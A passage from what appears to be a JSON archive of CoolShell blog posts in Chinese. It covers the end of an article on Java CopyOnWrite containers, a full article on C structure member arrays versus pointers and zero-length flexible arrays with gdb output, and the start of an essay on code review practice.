GC，应用响应时间也随之变长。</p>\n<p>针对内存占用问题，可以通过压缩容器中的元素的方法来减少大对象的内存消耗，比如，如果元素全是10进制的数字，可以考虑把它压缩成36进制或64进制。或者不使用CopyOnWrite容器，而使用其他的并发容器，如<a href=\"http://ifeve.com/concurrenthashmap/\" target=\"_blank\">ConcurrentHashMap</a>。</p>\n<p><strong>数据一致性问题</strong>。CopyOnWrite容器只能保证数据的最终一致性，不能保证数据的实时一致性。所以如果你希望写入的的数据，马上能读到，请不要使用CopyOnWrite容器。</p>\n<p>关于C++的STL中，曾经也有过Copy-On-Write的玩法，参见陈皓的《<a href=\"http://blog.csdn.net/haoel/article/details/24058\" target=\"_blank\">C++ STL String类中的Copy-On-Write</a>》，后来，因为有很多线程安全上的事，就被去掉了。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11541.html\"><img alt=\"面向GC的Java编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11541.html\">面向GC的Java编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11454.html\"><img alt=\"从LongAdder看更高效的无锁实现\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11454.html\">从LongAdder看更高效的无锁实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9703.html\"><img alt=\"无锁HashMap的原理与实现\" height=\"150\" src=\"../wp-content/uploads/2013/05/图1-3-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9703.html\">无锁HashMap的原理与实现</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9606.html\"><img alt=\"疫苗：Java HashMap的死循环\" height=\"150\" src=\"../wp-content/uploads/2013/05/race_condition-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9606.html\">疫苗：Java HashMap的死循环</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11175.html\">Java中的CopyOnWrite容器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-4-1 C语言结构体里的成员数组和指针.html",
    "content": "<html><body><p>单看这文章的标题，你可能会觉得好像没什么意思。你先别下这个结论，相信这篇文章会对你理解C语言有帮助。这篇文章产生的背景是在微博上，看到<a href=\"http://weibo.com/laruence\" target=\"_blank\" title=\"Laruence\">@Laruence</a>同学出了一个关于C语言的题，<a href=\"http://weibo.com/1170999921/ADojDbuSe\" target=\"_blank\">微博链接</a>。微博截图如下。我觉得好多人对这段代码的理解还不够深入，所以写下了这篇文章。</p>\n<p style=\"text-align: center;\"><a href=\"http://weibo.com/1170999921/ADojDbuSe\" target=\"_blank\"><img alt=\"zero_array\" class=\"aligncenter size-full wp-image-11378\" height=\"204\" src=\"../wp-content/uploads/2014/03/zero_array.png\" width=\"549\"/></a></p>\n<p>为了方便你把代码copy过去编译和调试，我把代码列在下面：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\nstruct str{\n    int len;\n    char s[0];\n};\n\nstruct foo {\n    struct str *a;\n};\n\nint main(int argc, char** argv) {\n    struct foo f={0};\n    if (f.a-&gt;s) {\n        printf( f.a-&gt;s);\n    }\n    return 0;\n}\n</pre>\n<p>你编译一下上面的代码，在VC++和GCC下都会在14行的printf处crash掉你的程序。<a href=\"http://weibo.com/laruence\" target=\"_blank\" title=\"Laruence\">@Laruence</a> 说这个是个经典的坑，我觉得这怎么会是经典的坑呢？上面这代码，你一定会问，为什么if语句判断的不是f.a？而是f.a里面的数组？写这样代码的人脑子里在想什么？还是用这样的代码来玩票？不管怎么样，看过原微博的回复，我个人觉得大家主要还是对C语言理解不深，如果这算坑的话，那么全都是坑。</p>\n<p><span id=\"more-11377\"></span></p>\n<p>接下来，你调试一下，或是你把14行的printf语句改成：</p>\n<p><code class=\"EnlighterJSRAW\">printf(\"%x\\n\", f.a-&gt;s);</code></p>\n<p>你会看到程序不crash了。程序输出：4。 这下你知道了，访问0x4的内存地址，不crash才怪。于是，你一定会有如下的问题：</p>\n<p style=\"padding-left: 30px;\"><strong>1）为什么不是 13行if语句出错？f.a被初始化为空了嘛，用空指针访问成员变量为什么不crash？</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）为什么会访问到了0x4的地址？靠，4是怎么出来的？</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）代码中的第4行，char s[0] 是个什么东西？零长度的数组？为什么要这样玩？</strong></p>\n<p>让我们从基础开始一点一点地来解释C语言中这些诡异的问题。</p>\n<h4>结构体中的成员</h4>\n<p>首先，我们需要知道——<strong>所谓变量，其实是内存地址的一个抽像名字罢了</strong>。在静态编译的程序中，所有的变量名都会在编译时被转成内存地址。机器是不知道我们取的名字的，只知道地址。</p>\n<p>所以有了——栈内存区，堆内存区，静态内存区，常量内存区，我们代码中的所有变量都会被编译器预先放到这些内存区中。</p>\n<p>有了上面这个基础，我们来看一下结构体中的成员的地址是什么？我们先简单化一下代码：</p>\n<pre class=\"EnlighterJSRAW\">struct test{\n    int i;\n    char *p;\n};</pre>\n<p>上面代码中，test结构中i和p指针，在C的编译器中保存的是相对地址——也就是说，他们的地址是相对于struct test的实例的。如果我们有这样的代码：</p>\n<p><code class=\"EnlighterJSRAW\">struct test t;</code></p>\n<p>我们用gdb跟进去，对于实例t，我们可以看到：</p>\n<pre class=\"EnlighterJSRAW\"># t实例中的p就是一个野指针\n(gdb) p t\n$1 = {i = 0, c = 0 '\\000', d = 0 '\\000', p = 0x4003e0 \"1\\355I\\211\\...\"}\n\n# 输出t的地址\n(gdb) p &amp;t\n$2 = (struct test *) 0x7fffffffe5f0\n\n#输出(t.i)的地址\n(gdb) p &amp;(t.i)\n$3 = (char **) 0x7fffffffe5f0\n\n#输出(t.p)的地址\n(gdb) p &amp;(t.p)\n$4 = (char **) 0x7fffffffe5f4</pre>\n<p>我们可以看到，t.i的地址和t的地址是一样的，t.p的址址相对于t的地址多了个4。说白了，<strong>t.i 其实就是(&amp;t + 0x0)</strong>, <strong>t.p 的其实就是 (&amp;t + 0x4)</strong>。0x0和0x4这个偏移地址就是成员i和p在编译时就被编译器给hard code了的地址。于是，你就知道，<strong>不管结构体的实例是什么——访问其成员其实就是加成员的偏移量</strong>。</p>\n<p>下面我们来做个实验：</p>\n<pre class=\"EnlighterJSRAW\">struct test{\n    int i;\n    short c;\n    char *p;\n};\n\nint main(){\n    struct test *pt=NULL;\n    return 0;\n}</pre>\n<p>编译后，我们用gdb调试一下，当初始化pt后，我们看看如下的调试：（我们可以看到就算是pt为NULL，访问其中的成员时，其实就是在访问相对于pt的内址）</p>\n<pre class=\"EnlighterJSRAW\">(gdb) p pt\n$1 = (struct test *) 0x0\n(gdb) p pt-&gt;i\nCannot access memory at address 0x0\n(gdb) p pt-&gt;c\nCannot access memory at address 0x4\n(gdb) p pt-&gt;p\nCannot access memory at address 0x8</pre>\n<p>注意：上面的pt-&gt;p的偏移之所以是0x8而不是0x6，是因为内存对齐了（我在64位系统上）。关于内存对齐，可参看《<a href=\"https://coolshell.cn/articles/5761.html\" rel=\"bookmark\" target=\"_blank\" title=\"深入理解C语言\">深入理解C语言</a>》一文。</p>\n<p>好了，现在你知道为什么原题中会访问到了0x4的地址了吧，因为是相对地址。</p>\n<p>相对地址有很好多处，其可以玩出一些有意思的编程技巧，比如把C搞出面向对象式的感觉来，你可以参看我正好11年前的文章《<a href=\"http://blog.csdn.net/haoel/article/details/2864\" target=\"_blank\">用C写面向对像的程序</a>》（用指针类型强转的危险玩法——相对于C++来说，C++编译器帮你管了继承和虚函数表，语义也清楚了很多）</p>\n<h4>指针和数组的差别</h4>\n<p>有了上面的基础后，你把源代码中的struct str结构体中的char s[0];改成char *s;试试看，你会发现，在13行if条件的时候，程序因为Cannot access memory就直接挂掉了。为什么声明成char s[0]，程序会在14行挂掉，而声明成char *s，程序会在13行挂掉呢？<strong>那么char *s 和 char s[0]有什么差别呢</strong>？</p>\n<p>在说明这个事之前，有必要看一下汇编代码，用GDB查看后发现：</p>\n<ul>\n<li>对于char s[0]来说，汇编代码用了lea指令，lea   0x04(%rax),   %rdx</li>\n<li>对于char*s来说，汇编代码用了mov指令，mov 0x04(%rax),   %rdx</li>\n</ul>\n<p>lea全称load effective address，是把地址放进去，而mov则是把地址里的内容放进去。所以，就crash了。</p>\n<p>从这里，我们可以看到，<strong>访问成员数组名其实得到的是数组的相对地址，而访问成员指针其实是相对地址里的内容</strong>（这和访问其它非指针或数组的变量是一样的）</p>\n<p>换句话说，<strong>对于数组 char s[10]来说，数组名 s 和 &amp;s 都是一样的</strong>（不信你可以自己写个程序试试）。在我们这个例子中，也就是说，都表示了偏移后的地址。这样，如果我们访问 指针的地址（或是成员变量的地址），那么也就不会让程序挂掉了。</p>\n<p>正如下面的代码，可以运行一点也不会crash掉（你汇编一下你会看到用的都是lea指令）：</p>\n<pre class=\"EnlighterJSRAW\">struct test{\n    int i;\n    short c;\n    char *p;\n    char s[10];\n};\n\nint main(){\n    struct test *pt=NULL;\n    printf(\"&amp;s = %x\\n\", pt-&gt;s); //等价于 printf(\"%x\\n\", &amp;(pt-&gt;s) );\n    printf(\"&amp;i = %x\\n\", &amp;pt-&gt;i); //因为操作符优先级，我没有写成&amp;(pt-&gt;i)\n    printf(\"&amp;c = %x\\n\", &amp;pt-&gt;c);\n    printf(\"&amp;p = %x\\n\", &amp;pt-&gt;p);\n    return 0;\n}</pre>\n<p><strong>看到这里，你觉得这能算坑吗？不要出什么事都去怪语言，大家要想想是不是问题出在自己身上。</strong></p>\n<h4>关于零长度的数组</h4>\n<p>首先，我们要知道，<strong>0长度的数组在ISO C和C++的规格说明书中是不允许的</strong>。这也就是为什么在VC++2012下编译你会得到一个警告：“arning C4200: 使用了非标准扩展 : 结构/联合中的零大小数组”。</p>\n<p>那么为什么gcc可以通过而连一个警告都没有？那是因为gcc 为了预先支持C99的这种玩法，所以，让“零长度数组”这种玩法合法了。关于GCC对于这个事的文档在这里：“<a href=\"http://gcc.gnu.org/onlinedocs/gcc/Zero-Length.html\" target=\"_blank\" title=\"Arrays of Length Zero\">Arrays of Length Zero</a>”，文档中给了一个例子（我改了一下，改成可以运行的了）：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n\nstruct line {\n   int length;\n   char contents[0]; // C99的玩法是：char contents[]; 没有指定数组长度\n};\n\nint main(){\n    int this_length=10;\n    struct line *thisline = (struct line *)\n                     malloc (sizeof (struct line) + this_length);\n    thisline-&gt;length = this_length;\n    memset(thisline-&gt;contents, 'a', this_length);\n    return 0;\n}</pre>\n<p>上面这段代码的意思是：我想分配一个不定长的数组，于是我有一个结构体，其中有两个成员，一个是length，代表数组的长度，一个是contents，代码数组的内容。后面代码里的 this_length（长度是10）代表是我想分配的数据的长度。（这看上去是不是像一个C++的类？）这种玩法英文叫：Flexible Array，中文翻译叫：柔性数组。</p>\n<p>我们来用gdb看一下：</p>\n<pre class=\"EnlighterJSRAW\">(gdb) p thisline\n$1 = (struct line *) 0x601010\n\n(gdb) p *thisline\n$2 = {length = 10, contents = 0x601010 \"\\n\"}\n\n(gdb) p thisline-&gt;contents\n$3 = 0x601014 \"aaaaaaaaaa\"</pre>\n<p>我们可以看到：在输出*thisline时，我们发现其中的成员变量contents的地址居然和thisline是一样的（偏移量为0x0??!!）。但是当我们输出thisline-&gt;contents的时候，你又发现contents的地址是被offset了0x4了的，内容也变成了10个‘a’。（我觉得这是一个GDB的bug，VC++的调试器就能很好的显示）</p>\n<p>我们继续，如果你sizeof(char[0])或是 sizeof(int[0]) 之类的零长度数组，你会发现sizeof返回了0，这就是说，零长度的数组是存在于结构体内的，但是不占结构体的size。你可以简单的理解为一个没有内容的占位标识，直到我们给结构体分配了内存，这个占位标识才变成了一个有长度的数组。</p>\n<p>看到这里，你会说，为什么要这样搞啊，把contents声明成一个指针，然后为它再分配一下内存不行么？就像下面一样。</p>\n<pre class=\"EnlighterJSRAW\">struct line {\n   int length;\n   char *contents;\n};\n\nint main(){\n    int this_length=10;\n    struct line *thisline = (struct line *)malloc (sizeof (struct line));\n    thisline-&gt;contents = (char*) malloc( sizeof(char) * this_length );\n    thisline-&gt;length = this_length;\n    memset(thisline-&gt;contents, 'a', this_length);\n    return 0;\n}</pre>\n<p>这不一样清楚吗？而且也没什么怪异难懂的东西。是的，这也是普遍的编程方式，代码是很清晰，也让人很容易理解。即然这样，那为什么要搞一个零长度的数组？有毛意义？！</p>\n<p>这个事情出来的原因是——<strong>我们想给一个结构体内的数据分配一个连续的内存！</strong>这样做的意义有两个好处：</p>\n<p style=\"padding-left: 30px;\"><strong>第一个意义是，方便内存释放</strong>。如果我们的代码是在一个给别人用的函数中，你在里面做了二次内存分配，并把整个结构体返回给用户。用户调用free可以释放结构体，但是用户并不知道这个结构体内的成员也需要free，所以你不能指望用户来发现这个事。所以，如果我们把结构体的内存以及其成员要的内存一次性分配好了，并返回给用户一个结构体指针，用户做一次free就可以把所有的内存也给释放掉。（读到这里，你一定会觉得C++的封闭中的析构函数会让这事容易和干净很多）</p>\n<p style=\"padding-left: 30px;\"><strong>第二个原因是，这样有利于访问速度</strong>。连续的内存有益于提高访问速度，也有益于减少内存碎片。（其实，我个人觉得也没多高了，反正你跑不了要用做偏移量的加法来寻址）</p>\n<p>我们来看看是怎么个连续的，用gdb的x命令来查看：(我们知道，用struct line {}中的那个char contents[]不占用结构体的内存，所以，struct line就只有一个int成员，4个字节，而我们还要为contents[]分配10个字节长度，所以，一共是14个字节)</p>\n<pre class=\"EnlighterJSRAW\">(gdb) x /14b thisline\n0x601010:       10      0       0       0       97      97      97      97\n0x601018:       97      97      97      97      97      97</pre>\n<p>从上面的内存布局我们可以看到，前4个字节是 int length，后10个字节就是char contents[]。</p>\n<p>如果用指针的话，会变成这个样子：</p>\n<pre class=\"EnlighterJSRAW\">(gdb) x /16b thisline\n0x601010:       1       0       0       0       0       0       0       0\n0x601018:       32      16      96      0       0       0       0       0\n(gdb) x /10b this-&gt;contents\n0x601020:       97      97      97      97      97      97      97      97\n0x601028:       97      97</pre>\n<p>上面一共输出了四行内存，其中，</p>\n<ul>\n<li>第一行前四个字节是 int length，第一行的后四个字节是对齐。</li>\n<li>第二行是char* contents，64位系统指针8个长度，他的值是0x20 0x10 0x60 也就是0x601020。</li>\n<li>第三行和第四行是char* contents指向的内容。</li>\n</ul>\n<p>从这里，我们看到，<strong>其中的差别——数组的原地就是内容，而指针的那里保存的是内容的地址</strong>。</p>\n<h4>后记</h4>\n<p>好了，我的文章到这里就结束了。但是，请允许我再唠叨两句。</p>\n<p style=\"padding-left: 30px;\"><strong>1）看过这篇文章，你觉得C复杂吗？我觉得并不简单。某些地方的复杂程度不亚于C++。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>2）那些学不好C++的人一定是连C都学不好的人。连C都没学好，你们根本没有资格鄙视C++。</strong></p>\n<p style=\"padding-left: 30px;\"><strong>3）当你们在说有坑的时候，你得问一下自己，是真有坑还是自己的学习能力上出了问题。</strong></p>\n<p>如果你觉得你的C语言还不错，欢迎你看看《<a href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\" title=\"C语言的谜题\">C语言的谜题</a>》还有《<a href=\"https://coolshell.cn/articles/873.html\" target=\"_blank\" title=\"谁说C语言很简单？\">谁说C语言很简单？</a>》还有《<a href=\"https://coolshell.cn/articles/830.html\" target=\"_blank\">语言的歧义</a>》以及《<a href=\"https://coolshell.cn/articles/5761.html\" rel=\"bookmark\" target=\"_blank\" title=\"深入理解C语言\">深入理解C语言</a>》一文。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/11235.html\"><img alt=\"一个浮点数跨平台产生的问题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/8.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/11235.html\">一个浮点数跨平台产生的问题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/873.html\"><img alt=\"谁说C语言很简单？\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/873.html\">谁说C语言很简单？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/945.html\"><img alt=\"C语言的谜题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/945.html\">C语言的谜题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/830.html\"><img alt=\"语言的歧义\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/830.html\">语言的歧义</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/5761.html\"><img alt=\"深入理解C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/5761.html\">深入理解C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"http://coolshell.cn/articles/9859.html\"><img alt=\"Alan Cox：单向链表中prev指针的妙用\" height=\"150\" src=\"../wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"http://coolshell.cn/articles/9859.html\">Alan Cox：单向链表中prev指针的妙用</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/11377.html\">C语言结构体里的成员数组和指针</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2014-4-12 从Code Review 谈如何做技术.html",
    "content": "<html><body><p><img alt=\"\" class=\"alignright size-medium wp-image-11440\" height=\"300\" src=\"../wp-content/uploads/2014/04/code_review-225x300.jpg\" width=\"225\"/>（这篇文章缘由我的微博，我想多说一些，有些杂乱，想到哪写到哪）</p>\n<p>这两天，在微博上表达了一下Code Review的重要性。因为翻看了阿里内部的Review Board上的记录，从上面发现Code Review做得好的是一些比较偏技术的团队，而偏业务的技术团队基本上没有看到Code Review的记录。当然，这并不能说没有记录他们就没有做Code Review，于是，我就问了一下以前在业务团队做过的同事有没有Code Review，他告诉我不但没有Code Review，而且他认为Code Review没用，因为：</p>\n<p style=\"padding-left: 30px;\">1）工期压得太紧，时间连coding都不够，以上线为目的，</p>\n<p style=\"padding-left: 30px;\">2）需求老变，代码的生命周期太短。所以，写好的代码没有任何意义，烂就烂吧，反正与绩效无关。</p>\n<p>我心里非常不认同这样的观点，我觉得我是程序员，我是工程师，就像医生一样，不是把病人医好就好了，还要对病人的长期健康负责。对于常见病，要很快地医好病人很简单，下猛药，大量使用抗生素，好得飞快。但大家都知道，这明显是“饮鸩止渴”、“竭泽而渔”的做法。医生需要有责任心和医德，我也觉得程序员工程师也要有相应的责任心和相应的修养。东西交给我我必需要负责，我觉得这种负责和修养不是”做出来“就了事了，而是要到“做漂亮”这个级别，这就是“山寨”和“工业”的差别。而只以“做出来”为目的标准，我只能以为，这样的做法只不过是“按部就班”的堆砌代码罢了，和劳动密集型的“装配生产线”和“砌砖头”没有什么差别，在这种环境里呆着还不如离开。</p>\n<p>老实说，因为去年我在业务团队的时候，我的团队也没有做Code Review，原因是多样的。其中一个重要原因是，我刚来阿里，所以，需要做的是在适应阿里的文化，任何公司都有自己的风格和特点，任何公司的做法都有他的理由和成因，对于我这样的一个初来者，首要的是要适应和观察，不要对团队做太多的改动，跟从、理解和信任是融入的关键。（注：在建北京团队和不要专职的测试人员上我都受到了一些阻力），所以跟着团队走没有玩Code Review。干了一年后，觉得我妥协了很多我以前所坚持的东西，觉得自己的标准在降低，想一想后背拔凉拔凉的，所以我决定坚持，而且还要坚持高标准。</p>\n<p><span id=\"more-11432\"></span></p>\n<p>对于Code Review很重要的这个观点，在微博上抛出来后，被一些阿里的工程师，架构师/专家，甚至资深架构师批评，我在和他们回复和讨论的过程中，居然发现有个“因为对方用户的设置”我无法回复了（我被拉黑了，还有一些直接就是冷讽和骂人了，微博中我就直接删除了）。这些批评我的阿里工程师/架构师的观点总结一下如下：（<strong>顺便说一下，阿里内还是有很多团队坚持做Code Review的</strong>）</p>\n<p style=\"padding-left: 30px;\">1）到业务团队体会一下，倒逼工期的项目有多少？订好交付日期后再要求提前1个月的有多少？现在是做到已经不容易，更不谈做得漂亮！。</p>\n<p style=\"padding-left: 30px;\">2）Code Review是一种教条，意义不大，有测试，只要不出错，就可以了。</p>\n<p style=\"padding-left: 30px;\">3）目标都是改进质量，有限的投入总希望能有最大的产出，不同沉湎改进质量的方式不一样，业务应用开发忙的跟狗一样，而且业务逻辑变化快，通用性差，codereviw的成本要比底层高。</p>\n<p style=\"padding-left: 30px;\"><span style=\"line-height: 1.5em;\">4）现在的主要矛盾是倒排出来的工期和不靠谱的程序员之间的矛盾，我认为cr不是解决这个问题的银弹。不从实际情况出发光打正义的嘴炮实在太过于自慰了 。</span></p>\n<p><strong>我们可以看到，上面观点其实和Code Review没有太多关系，其实是在抱怨另外的问题</strong>。这些观点其实是技术团队和业务团队的矛盾，但不知道为什么强加给了我的“Code Review很重要”的这个观点，然后这些观点反过来冲击“Code Reivew”，并说“Code Review无用”。这种讨论问题的方式在很常见，你说A，我说B，本来A、B是两件事，但就是要混为一谈，然后似是而非的用B来证明你的A观点是错的。（也许，这些工程师/架构师心存怨气，需要一个发泄的通道）</p>\n<p><strong>我觉得，很多时候，人思考问题思考不清楚，很大一部分原因是因为把很多问题混为一谈</strong>，连我自己有些时候都会这样。引以为戒。</p>\n<p>即然被混为一谈，那我就来拆分一下，也是下面这三个问题：</p>\n<ul>\n<li>Code Review有没有用的问题。</li>\n<li>Code Review做不起来的问题。</li>\n<li>业务变化快，速度快的问题，技术疲于跟命。</li>\n</ul>\n<h4>Code Review</h4>\n<p>你Google一下Code Reivew这个关键词，你就会发现Code Review的好处基本上是不存在争议的，有很多很多的文章和博文都在说Code Review的重要性，怎么做会更好，而且很多公司在面试过程中会加入“Code Review”的问题。打开<a href=\"http://zh.wikipedia.org/wiki/%E4%BB%A3%E7%A0%81%E5%AE%A1%E6%9F%A5\" target=\"_blank\">Wikipedia的词条</a>你会看到这样的描述——</p>\n<blockquote><p>卡珀斯·琼斯（Capers Jones）分析了超过12,000个软件开发项目，其中使用正式代码审查的项目，发现潜在缺陷率约在60-65%之间，若是非正式的代码审查，发现潜在缺陷率不到50%。大部份的测试，发现的潜在缺陷率会在30%左右。</p>\n<p>对于一些关键的软件（例如安全关键系统的嵌入式软件），一般的代码审查速度约是一小时150行程序码，一小时审查数百行程序码的审查速度太快，可能无法找到程序中的问题。代码审查一般可以找到及移除约65%的错误，最高可以到85%。</p>\n<p>也有研究针对代码审查找到的缺陷类型进行分析。代码审查找到的缺陷中，有75%是和计算机安全隐患有关。对于产品生命周期很长的软件公司而言，代码审查是很有效的工具。</p></blockquote>\n<p><strong>Code Review的好处我觉得不用多说了，主要是让你的代码可以更好的组织起来，有更易读，有更高的维护性，同时可以达到知识共享，找到bug只是其中的副产品</strong>。这个东西已经不新鲜了，你上网可以找到很多文章，我就不多说了。就像你写程序要判断错误一样，Code Review也是最基本的常识性的东西。</p>\n<p>我从2002年开始就浸泡在严格的Code Review中，我的个人成长和Code Review有很大的关系，如果我的成长过程中没有经历过Code Review这个事，我完全不敢想像。</p>\n<p><strong>我个人认为代码有这几种级别：1）可编译，2）可运行，3）可测试，4）可读，5）可维护，6）可重用。通过自动化测试的代码只能达到第3）级，而通过Code Review的代码少会在第4）级甚至更高。</strong>关于Code Review，你可以参看本站的《<a href=\"https://coolshell.cn/articles/1302.html\" target=\"_blank\" title=\"Code Review中的几个提示\">Code Review中的几个提示</a>》</p>\n<p>可见，Code Review直接关系到了你的工程能力！</p>\n<h4>Code Review 的问题</h4>\n<p>有下面几个情况会让你的Code Review没有效果。</p>\n<p>首当其冲的是——“<strong>人员能力不足</strong>”，我经历过这样的情况，Code Review的过程中，大家大眼瞪小眼，没有什么好的想法，不知道什么是好的代码，什么是不好的代码。导致Code Review大多数都在代码风格上。今天，我告诉你，代码风格这种事，是每个程序员自查的事情，不应该浪费大家的时间。对此，我有两个建议：1）你团队的人招错了，该换血了。2）让你团队的人花时候阅读一下《<a href=\"http://book.douban.com/subject/1477390/\" target=\"_blank\">代码大全</a>》这本书（当然，还要读很多基础知识的书）。</p>\n<p>次当其冲的是——“<strong>结果更重要</strong>”，也就是说，做出来更重要，做漂亮不重要。因为我的KPI和年终奖based on how many works I’ve done！而不是How perfect they are ! 这让我想到那些天天在用Spring MVC 做CRUD网页的工程师，我承认，他们很熟练。大量的重复劳动。其实，仔细想一下好多东西是可以框架化，模板化，或是自动生成的。所以，为了堆出这么多网页就停地去堆，做的东西是很多，但是没有任何成长。急功近利，也许，你做得多，拿到了不错的年终奖，但是你失去的也多，失去了成为一个卓越工程师的机会。你本来可以让你的月薪在1-2年后翻1-2倍的，但一年后你只拿到了为数不多的年终奖。</p>\n<p>然后是——“<strong>人员的态度问题</strong>”，一方面就是懒，不想精益求精，只要干完活交差了事。对此，你更要大力开展Code Review了，让这种人写出来的代码曝光在更多人面前，让他为质量不好的代码蒙羞。另一方面，有人会觉得那是别人的模块，我不懂，也没时间 去懂，不懂他的业务怎么做Code Review? 我只想说，如果你的团队里这样的“各个自扫门前雪”的事越多，那么这个团队也就越没主动性，没有主动性也就越不可能是个好团队，做的东西也不可能好。而对于个人来说，也就越不可能有成长。</p>\n<p>接下来是——“<strong>需求变化的问题</strong>”，有人认识，需求变得快，代码的生存周期比较短，不需要好的代码，反正过两天这些代码就会被废弃了。如果是一次性的东西，的确质量不需要太高，反正用了就扔。但是，我觉得多多少少要Review一下这个一次性的烂代码不会影响那些长期在用的代码吧，如果你的项目全部都是临时代码，那么你团队是不是也是一个临时团队？关于如果应对需求变化，你可以看看本站的《<a href=\"https://coolshell.cn/articles/6950.html\" rel=\"bookmark\">需求变化与IoC</a>》《<a href=\"https://coolshell.cn/articles/7236.html\" target=\"_blank\">Unix的设计思想来应对多变的需求</a>》的文章 ，从这些文章中，我相信你可以看到对于需求变化的代码质量需要的更高。</p>\n<p>最后是——“<strong>时间不够问题</strong>”，如果是业务逼得紧，让你疲于奔命，那么这不是Code Review好不好问题，这是需求管理和项目管理的问题以及别的非技术的问题。下面我会说。</p>\n<p>不管怎么样，上述Code Review的问题不应该成为“Code 